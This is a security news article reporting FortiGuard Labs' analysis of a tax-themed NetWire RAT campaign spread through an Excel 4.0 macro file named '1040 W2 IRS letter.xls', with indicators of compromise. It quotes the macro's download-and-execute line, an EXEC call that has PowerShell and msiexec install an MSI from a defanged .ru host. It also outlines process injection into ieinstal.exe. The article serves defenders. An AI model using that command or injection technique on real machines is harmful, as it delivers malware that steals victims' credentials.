Thursday, March 28, 2024

Hackers Attack Taxpayers Computers Using Netwire RAT via Weaponized Microsoft Excel 4.0

With tax season upon us, Researchers from FortiGuard Labs observed that a new NetWire RAT is spreading in wild using legacy MS Excel 4.0 named “1040 W2 IRS letter.xls” to perform keylogger functions such as capturing screenshots, collecting credentials and so on from victim machines.

In the past, Many NetWire RAT campaigns primarily target verticals like financial services, businesses, and educational institutions. 

It is a multiplatform RAT typically delivered via malspam attachments that contain Microsoft Office files with embedded executables.

It has emerged in the wild from 2012 onwards with improved remote access features and is commercially available in the dark web.

Netwire RAT campaigns 

This is the first time, Researchers observed NetWire RAT being spread in an Excel file using an Excel 4.0 Macro. Excel 4.0 was introduced in 1992, contained an early version of Macro Excel 4.0 macros (also called XLM macros ) predate VBA macros, it works as composed of functions placed inside cells of a macro sheet.

Excel 4.0 macros are still supported in the most recent Microsoft Office versions including office 2019 utilized for the offensive purpose by cyber threats.

Tax-Themed campaign via Excel 4.0 Macro 

The captured Excel file is called, “1040 W2 IRS letter.xls”. With obfuscated IRS forms in background lures victims to click the “Enable Content” button to show the clear forms, which enables the malicious Excel 4.0 Macro to be executed.

Tax-Themed Excel 4.0 Macro

Sample image shows that sheet “Macro1” is visible and the content of cell number “$A$9591” is “=EXEC(“powershell msiexe” & B7578 & ” /q /i http[:]//binexeupload[.]ru/unmodifiedness[.]msi”)” as it’s not obfuscated .

Macro C2C Command

“=EXEC” is a built-in Macro function that can be called to execute a local program with parameters. “B7578” is for reading out a value from cell “$B$7578”, whose value is empty. Therefore, the Excel 4.0 Macro will execute the program “powershell.exe” with the parameter followed, which will download an MSI file named ““unmodifiedness.msi” from a web site and then execute it using the Windows program “msiexe.exe”.

When it starts, it transfers malicious codes into the sub-process “ieinstal.exe” and executes there. It then transfers the malicious code into a newly created memory space in “ieinstal.exe”.

Finally, it modifies the “ieinstal.exe” entry point to the transferred malicious code by calling API ZwSetContextThread(), and then resumes running after calling the API ZwResumeThread().

The process tree of the running downloaded MSI file

Next, it will download an encrypted bin file from its download server, http[:]//stubbackup[.]ru/Host2_encrypted_3160FB0.bin

It then decrypts the bin file to get another PE file, which is the payload of a new NetWire variant. It then puts the PE file into the memory starting at offset 0x400000 to replace the existing data of “ieinstal.exe”

NetWire RAT collects the data such as current system time, the variant host-ID, the victim’s login user, the computer name, capture a screenshot of the victim’s screen into JPEG and so on. It has improved its feature that collects credentials from the victim’s.

Indicators of compromise (IOC):

http[:]//binexeupload[.]ru/unmodifiedness[.]msi
http[:]//stubbackup[.]ru/Host2_encrypted_3160FB0.bin

10A82C441E89A4E2815D1E5006AACF3CF57F414D1B99A893E7A34A37108A1A52
92DD50388595C86C0A87639A566B9E44D636621CFF94180EDD59AA28AC169BDA

Website

Latest articles

Hackers Actively Exploiting Ray AI Framework Flaw to Hack Thousands of Servers

A critical vulnerability in Ray, an open-source AI framework that is widely utilized across...

Chinese Hackers Attacking Southeast Asian Nations With Malware Packages

Cybersecurity researchers at Unit 42 have uncovered a sophisticated cyberespionage campaign orchestrated by two...

CISA Warns of Hackers Exploiting Microsoft SharePoint Server Vulnerability

Cybersecurity and Infrastructure Security Agency (CISA) has warned about a critical vulnerability in Microsoft...

Microsoft Expands Edge Bounty Program to Include WebView2!

Microsoft announced that Microsoft Edge WebView2 eligibility and specific out-of-scope information are now included...

Beware of Free Android VPN Apps that Turn Your Device into Proxies

Cybersecurity experts have uncovered a cluster of Android VPN applications that covertly transform user...

ZENHAMMER – First Rowhammer Attack Impacting Zen-based AMD Platforms

Despite AMD's growing market share with Zen CPUs, Rowhammer attacks were absent due to...

Airbus to Acquire INFODAS to Strengthen its Cybersecurity Portfolio

Airbus Defence and Space plans to acquire INFODAS, a leading cybersecurity and IT solutions...

Mitigating Vulnerability Types & 0-day Threats

Mitigating Vulnerability & 0-day Threats

Alert Fatigue that helps no one as security teams need to triage 100s of vulnerabilities.

  • The problem of vulnerability fatigue today
  • Difference between CVSS-specific vulnerability vs risk-based vulnerability
  • Evaluating vulnerabilities based on the business impact/risk
  • Automation to reduce alert fatigue and enhance security posture significantly

Related Articles